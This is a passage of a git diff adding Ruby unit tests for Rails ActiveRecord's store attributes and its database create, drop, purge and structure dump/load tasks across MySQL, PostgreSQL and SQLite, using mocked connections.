+        SqlBypass.new(:data => 'hello', :session_id => session_id).save
+        assert_equal 'hello', SqlBypass.find_by_session_id(session_id).data
+      ensure
+        SqlBypass.drop_table!
+        SqlBypass.data_column = old
+        SqlBypass.create_table! if exists
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 074fd39e65..fb0d116c08 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -3,8 +3,10 @@ require 'models/admin'
 require 'models/admin/user'
 
 class StoreTest < ActiveRecord::TestCase
+  fixtures :'admin/users'
+
   setup do
-    @john = Admin::User.create(:name => 'John Doe', :color => 'black')
+    @john = Admin::User.create!(:name => 'John Doe', :color => 'black', :remember_login => true, :height => 'tall', :is_a_good_guy => true)
   end
 
   test "reading store attributes through accessors" do
@@ -24,11 +26,104 @@ class StoreTest < ActiveRecord::TestCase
     @john.settings[:icecream] = 'graeters'
     @john.save
 
-    assert 'graeters', @john.reload.settings[:icecream]
+    assert_equal 'graeters', @john.reload.settings[:icecream]
   end
-  
+
   test "updating the store will mark it as changed" do
     @john.color = 'red'
     assert @john.settings_changed?
   end
+
+  test "updating the store won't mark it as changed if an attribute isn't changed" do
+    @john.color = @john.color
+    assert !@john.settings_changed?
+  end
+
+  test "object initialization with not nullable column" do
+    assert_equal true, @john.remember_login
+  end
+
+  test "writing with not nullable column" do
+    @john.remember_login = false
+    assert_equal false, @john.remember_login
+  end
+
+  test "preserve store attributes data in HashWithIndifferentAccess format without any conversion" do
+    @john.json_data = HashWithIndifferentAccess.new(:height => 'tall', 'weight' => 'heavy')
+    @john.height = 'low'
+    assert_equal true, @john.json_data.instance_of?(HashWithIndifferentAccess)
+    assert_equal 'low', @john.json_data[:height]
+    assert_equal 'low', @john.json_data['height']
+    assert_equal 'heavy', @john.json_data[:weight]
+    assert_equal 'heavy', @john.json_data['weight']
+  end
+
+  test "convert store attributes from Hash to HashWithIndifferentAccess saving the data and access attributes indifferently" do
+    user = Admin::User.find_by_name('Jamis')
+    assert_equal 'symbol',  user.settings[:symbol]
+    assert_equal 'symbol',  user.settings['symbol']
+    assert_equal 'string',  user.settings[:string]
+    assert_equal 'string',  user.settings['string']
+    assert_equal true,      user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+
+    user.height = 'low'
+    assert_equal 'symbol',  user.settings[:symbol]
+    assert_equal 'symbol',  user.settings['symbol']
+    assert_equal 'string',  user.settings[:string]
+    assert_equal 'string',  user.settings['string']
+    assert_equal true,      user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+  end
+
+  test "convert store attributes from any format other than Hash or HashWithIndifferent access losing the data" do
+    @john.json_data = "somedata"
+    @john.height = 'low'
+    assert_equal true, @john.json_data.instance_of?(HashWithIndifferentAccess)
+    assert_equal 'low', @john.json_data[:height]
+    assert_equal 'low', @john.json_data['height']
+    assert_equal false, @john.json_data.delete_if { |k, v| k == 'height' }.any?
+  end
+
+  test "reading store attributes through accessors encoded with JSON" do
+    assert_equal 'tall', @john.height
+    assert_nil @john.weight
+  end
+
+  test "writing store attributes through accessors encoded with JSON" do
+    @john.height = 'short'
+    @john.weight = 'heavy'
+
+    assert_equal 'short', @john.height
+    assert_equal 'heavy', @john.weight
+  end
+
+  test "accessing attributes not exposed by accessors encoded with JSON" do
+    @john.json_data['somestuff'] = 'somecoolstuff'
+    @john.save
+
+    assert_equal 'somecoolstuff', @john.reload.json_data['somestuff']
+  end
+
+  test "updating the store will mark it as changed encoded with JSON" do
+    @john.height = 'short'
+    assert @john.json_data_changed?
+  end
+
+  test "object initialization with not nullable column encoded with JSON" do
+    assert_equal true, @john.is_a_good_guy
+  end
+
+  test "writing with not nullable column encoded with JSON" do
+    @john.is_a_good_guy = false
+    assert_equal false, @john.is_a_good_guy
+  end
+
+  test "stored attributes are returned" do
+    assert_equal [:color, :homepage], Admin::User.stored_attributes[:settings]
+  end
+
+  test "stores_attributes are class level settings" do
+    assert_raise(NoMethodError) { @john.stored_attributes = Hash.new }
+    assert_raise(NoMethodError) { @john.stored_attributes }
+  end
+
 end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
new file mode 100644
index 0000000000..4f3489b7a5
--- /dev/null
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -0,0 +1,302 @@
+require 'cases/helper'
+
+module ActiveRecord
+  module DatabaseTasksSetupper
+    def setup
+      @mysql_tasks, @postgresql_tasks, @sqlite_tasks = stub, stub, stub
+      ActiveRecord::Tasks::MySQLDatabaseTasks.stubs(:new).returns @mysql_tasks
+      ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stubs(:new).returns @postgresql_tasks
+      ActiveRecord::Tasks::SQLiteDatabaseTasks.stubs(:new).returns @sqlite_tasks
+    end
+  end
+
+  ADAPTERS_TASKS = {
+     :mysql      => :mysql_tasks,
+     :mysql2     => :mysql_tasks,
+     :postgresql => :postgresql_tasks,
+     :sqlite3    => :sqlite_tasks
+  }
+
+  class DatabaseTasksRegisterTask < ActiveRecord::TestCase
+    def test_register_task
+      klazz = Class.new do
+        def initialize(*arguments); end
+        def structure_dump(filename); end
+      end
+      instance = klazz.new
+
+      klazz.stubs(:new).returns instance
+      instance.expects(:structure_dump).with("awesome-file.sql")
+
+      ActiveRecord::Tasks::DatabaseTasks.register_task(/foo/, klazz)
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => :foo}, "awesome-file.sql")
+    end
+  end
+ 
+  class DatabaseTasksCreateTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_create") do
+        eval("@#{v}").expects(:create)
+        ActiveRecord::Tasks::DatabaseTasks.create 'adapter' => k
+      end
+    end
+  end
+
+  class DatabaseTasksCreateAllTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {'development' => {'database' => 'my-db'}}
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+    end
+
+    def test_ignores_configurations_without_databases
+      @configurations['development'].merge!('database' => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_ignores_remote_databases
+      @configurations['development'].merge!('host' => 'my.server.tld')
+      $stderr.stubs(:puts).returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_warning_for_remote_databases
+      @configurations['development'].merge!('host' => 'my.server.tld')
+
+      $stderr.expects(:puts).with('This task only modifies local databases. my-db is on a remote host.')
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_local_ip
+      @configurations['development'].merge!('host' => '127.0.0.1')
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_local_host
+      @configurations['development'].merge!('host' => 'localhost')
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_blank_hosts
+      @configurations['development'].merge!('host' => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+  end
+
+  class DatabaseTasksCreateCurrentTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {
+        'development' => {'database' => 'dev-db'},
+        'test'        => {'database' => 'test-db'},
+        'production'  => {'database' => 'prod-db'}
+      }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_creates_current_environment_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with('database' => 'prod-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new('production')
+      )
+    end
+
+    def test_creates_test_database_when_environment_is_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with('database' => 'dev-db')
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with('database' => 'test-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+
+    def test_establishes_connection_for_the_given_environment
+      ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
+
+      ActiveRecord::Base.expects(:establish_connection).with('development')
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+  end
+
+  class DatabaseTasksDropTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_drop") do
+        eval("@#{v}").expects(:drop)
+        ActiveRecord::Tasks::DatabaseTasks.drop 'adapter' => k
+      end
+    end
+  end
+
+  class DatabaseTasksDropAllTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {:development => {'database' => 'my-db'}}
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+    end
+
+    def test_ignores_configurations_without_databases
+      @configurations[:development].merge!('database' => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_ignores_remote_databases
+      @configurations[:development].merge!('host' => 'my.server.tld')
+      $stderr.stubs(:puts).returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_warning_for_remote_databases
+      @configurations[:development].merge!('host' => 'my.server.tld')
+
+      $stderr.expects(:puts).with('This task only modifies local databases. my-db is on a remote host.')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_creates_configurations_with_local_ip
+      @configurations[:development].merge!('host' => '127.0.0.1')
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_creates_configurations_with_local_host
+      @configurations[:development].merge!('host' => 'localhost')
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_creates_configurations_with_blank_hosts
+      @configurations[:development].merge!('host' => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+  end
+
+  class DatabaseTasksDropCurrentTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {
+        'development' => {'database' => 'dev-db'},
+        'test'        => {'database' => 'test-db'},
+        'production'  => {'database' => 'prod-db'}
+      }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+    end
+
+    def test_creates_current_environment_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with('database' => 'prod-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new('production')
+      )
+    end
+
+    def test_creates_test_database_when_environment_is_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with('database' => 'dev-db')
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with('database' => 'test-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+  end
+
+
+  class DatabaseTasksPurgeTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_purge") do
+        eval("@#{v}").expects(:purge)
+        ActiveRecord::Tasks::DatabaseTasks.purge 'adapter' => k
+      end
+    end
+  end
+
+  class DatabaseTasksCharsetTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+ 
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_charset") do
+        eval("@#{v}").expects(:charset)
+        ActiveRecord::Tasks::DatabaseTasks.charset 'adapter' => k
+      end
+    end
+  end
+
+  class DatabaseTasksCollationTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+ 
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_collation") do
+        eval("@#{v}").expects(:collation)
+        ActiveRecord::Tasks::DatabaseTasks.collation 'adapter' => k
+      end
+    end
+  end
+
+  class DatabaseTasksStructureDumpTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_structure_dump") do
+        eval("@#{v}").expects(:structure_dump).with("awesome-file.sql")
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => k}, "awesome-file.sql")
+      end
+    end
+  end
+
+  class DatabaseTasksStructureLoadTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_structure_load") do
+        eval("@#{v}").expects(:structure_load).with("awesome-file.sql")
+        ActiveRecord::Tasks::DatabaseTasks.structure_load({'adapter' => k}, "awesome-file.sql")
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
new file mode 100644
index 0000000000..b49561d858
--- /dev/null
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -0,0 +1,268 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class MysqlDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_establishes_connection_without_database
+      ActiveRecord::Base.expects(:establish_connection).
+        with('adapter' => 'mysql', 'database' => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_creates_database_with_default_options
+      @connection.expects(:create_database).
+        with('my-app-db', {:charset => 'utf8', :collation => 'utf8_unicode_ci'})
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_creates_database_with_given_options
+      @connection.expects(:create_database).
+        with('my-app-db', {:charset => 'latin', :collation => 'latin_ci'})
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge(
+        'charset' => 'latin', 'collation' => 'latin_ci'
+      )
+    end
+
+    def test_establishes_connection_to_database
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+  end
+
+  class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+    def setup
+      unless current_adapter?(:MysqlAdapter)
+        return skip("only tested on mysql")
+      end
+
+      @connection    = stub(:create_database => true, :execute => true)
+      @error         = Mysql::Error.new "Invalid permissions"
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'my-app-db',
+        'username' => 'pat',
+        'password' => 'wossname'
+      }
+
+      $stdin.stubs(:gets).returns("secret\n")
+      $stdout.stubs(:print).returns(nil)
+      @error.stubs(:errno).returns(1045)
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).raises(@error).then.
+        returns(true)
+    end
+
+    def test_root_password_is_requested
+      skip "only if mysql is available" unless defined?(::Mysql)
+      $stdin.expects(:gets).returns("secret\n")
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_connection_established_as_root
+      ActiveRecord::Base.expects(:establish_connection).with({
+        'adapter'  => 'mysql',
+        'database' => nil,
+        'username' => 'root',
+        'password' => 'secret'
+      })
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_database_created_by_root
+      @connection.expects(:create_database).
+        with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_grant_privileges_for_normal_user
+      @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON my-app-db.* TO 'pat'@'localhost' IDENTIFIED BY 'wossname' WITH GRANT OPTION;")
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_connection_established_as_normal_user
+      ActiveRecord::Base.expects(:establish_connection).returns do
+        ActiveRecord::Base.expects(:establish_connection).with({
+          'adapter'  => 'mysql',
+          'database' => 'my-app-db',
+          'username' => 'pat',
+          'password' => 'secret'
+        })
+
+        raise @error
+      end
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_sends_output_to_stderr_when_other_errors
+      @error.stubs(:errno).returns(42)
+
+      $stderr.expects(:puts).at_least_once.returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+  end
+
+  class MySQLDBDropTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:drop_database => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_establishes_connection_to_mysql_database
+      ActiveRecord::Base.expects(:establish_connection).with @configuration
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+    end
+
+    def test_drops_database
+      @connection.expects(:drop_database).with('my-app-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+    end
+  end
+
+  class MySQLPurgeTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:recreate_database => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'test-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_establishes_connection_to_test_database
+      ActiveRecord::Base.expects(:establish_connection).with(:test)
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_recreates_database_with_the_default_options
+      @connection.expects(:recreate_database).
+        with('test-db', {:charset => 'utf8', :collation => 'utf8_unicode_ci'})
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_recreates_database_with_the_given_options
+      @connection.expects(:recreate_database).
+        with('test-db', {:charset => 'latin', :collation => 'latin_ci'})
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
+        'charset' => 'latin', 'collation' => 'latin_ci'
+      )
+    end
+  end
+
+  class MysqlDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_charset
+      @connection.expects(:charset)
+      ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+    end
+  end
+
+  class MysqlDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_collation
+      @connection.expects(:collation)
+      ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+    end
+  end
+
+  class MySQLStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:structure_dump => true)
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'test-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_structure_dump
+      filename = "awesome-file.sql"
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+      @connection.expects(:structure_dump)
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      assert File.exists?(filename)
+    ensure
+      FileUtils.rm(filename)
+    end
+  end
+
+  class MySQLStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub
+      @configuration = {
+        'adapter'  => 'mysql',
+        'database' => 'test-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_structure_load
+      filename = "awesome-file.sql"
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+      @connection.expects(:execute).twice
+
+      open(filename, 'w') { |f| f.puts("SELECT CURDATE();") }
+      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+    ensure
+      FileUtils.rm(filename)
+    end
+  end
+
+end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
new file mode 100644
index 0000000000..62acd53003
--- /dev/null
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -0,0 +1,226 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class PostgreSQLDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      ActiveRecord::Base.expects(:establish_connection).with(
+        'adapter'            => 'postgresql',
+        'database'           => 'postgres',
+        'schema_search_path' => 'public'
+      )
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_creates_database_with_default_encoding
+      @connection.expects(:create_database).
+        with('my-app-db', @configuration.merge('encoding' => 'utf8'))
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_creates_database_with_given_encoding
+      @connection.expects(:create_database).
+        with('my-app-db', @configuration.merge('encoding' => 'latin'))
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+        merge('encoding' => 'latin')
+    end
+
+    def test_creates_database_with_given_collation_and_ctype
+      @connection.expects(:create_database).
+        with('my-app-db', @configuration.merge('encoding' => 'utf8', 'collation' => 'ja_JP.UTF8', 'ctype' => 'ja_JP.UTF8'))
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+        merge('collation' => 'ja_JP.UTF8', 'ctype' => 'ja_JP.UTF8')
+    end
+
+    def test_establishes_connection_to_new_database
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+
+    def test_db_create_with_error_prints_message
+      ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+      $stderr.stubs(:puts).returns(true)
+      $stderr.expects(:puts).
+        with("Couldn't create database for #{@configuration.inspect}")
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+    end
+  end
+
+  class PostgreSQLDBDropTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:drop_database => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      ActiveRecord::Base.expects(:establish_connection).with(
+        'adapter'            => 'postgresql',
+        'database'           => 'postgres',
+        'schema_search_path' => 'public'
+      )
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+    end
+
+    def test_drops_database
+      @connection.expects(:drop_database).with('my-app-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+    end
+  end
+
+  class PostgreSQLPurgeTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true, :drop_database => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:clear_active_connections!).returns(true)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_clears_active_connections
+      ActiveRecord::Base.expects(:clear_active_connections!)
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      ActiveRecord::Base.expects(:establish_connection).with(
+        'adapter'            => 'postgresql',
+        'database'           => 'postgres',
+        'schema_search_path' => 'public'
+      )
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_drops_database
+      @connection.expects(:drop_database).with('my-app-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_creates_database
+      @connection.expects(:create_database).
+        with('my-app-db', @configuration.merge('encoding' => 'utf8'))
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+
+    def test_establishes_connection
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+      ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+    end
+  end
+
+  class PostgreSQLDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_charset
+      @connection.expects(:encoding)
+      ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+    end
+  end
+
+  class PostgreSQLDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:create_database => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_collation
+      @connection.expects(:collation)
+      ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+    end
+  end
+
+  class PostgreSQLStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub(:structure_dump => true)
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      Kernel.stubs(:system)
+    end
+
+    def test_structure_dump
+      filename = "awesome-file.sql"
+      Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{filename}  my-app-db").returns(true)
+      @connection.expects(:schema_search_path).returns("foo")
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      assert File.exists?(filename)
+    ensure
+      FileUtils.rm(filename)
+    end
+  end
+
+  class PostgreSQLStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @connection    = stub
+      @configuration = {
+        'adapter'  => 'postgresql',
+        'database' => 'my-app-db'
+      }
+
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      Kernel.stubs(:system)
+    end
+
+    def test_structure_dump
+      filename = "awesome-file.sql"
+      Kernel.expects(:system).with("psql -f #{filename} my-app-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+    end
+  end
+
+end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
new file mode 100644
index 0000000000..7209c0f14d
--- /dev/null
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -0,0 +1,191 @@
+require 'cases/helper'
+require 'pathname'
+
+module ActiveRecord
+  class SqliteDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @database      = 'db_create.sqlite3'
+      @connection    = stub :connection
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+
+      File.stubs(:exist?).returns(false)
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_checks_database_exists
+      File.expects(:exist?).with(@database).returns(false)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+    end
+
+    def test_db_create_when_file_exists
+      File.stubs(:exist?).returns(true)
+
+      $stderr.expects(:puts).with("#{@database} already exists")
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+    end
+
+    def test_db_create_with_file_does_nothing
+      File.stubs(:exist?).returns(true)
+      $stderr.stubs(:puts).returns(nil)
+
+      ActiveRecord::Base.expects(:establish_connection).never
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+    end
+
+    def test_db_create_establishes_a_connection
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+    end
+
+    def test_db_create_with_error_prints_message
+      ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+      $stderr.stubs(:puts).returns(true)
+      $stderr.expects(:puts).
+        with("Couldn't create database for #{@configuration.inspect}")
+
+      ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+    end
+  end
+
+  class SqliteDBDropTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @path          = stub(:to_s => '/absolute/path', :absolute? => true)
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+
+      Pathname.stubs(:new).returns(@path)
+      File.stubs(:join).returns('/former/relative/path')
+      FileUtils.stubs(:rm).returns(true)
+    end
+
+    def test_creates_path_from_database
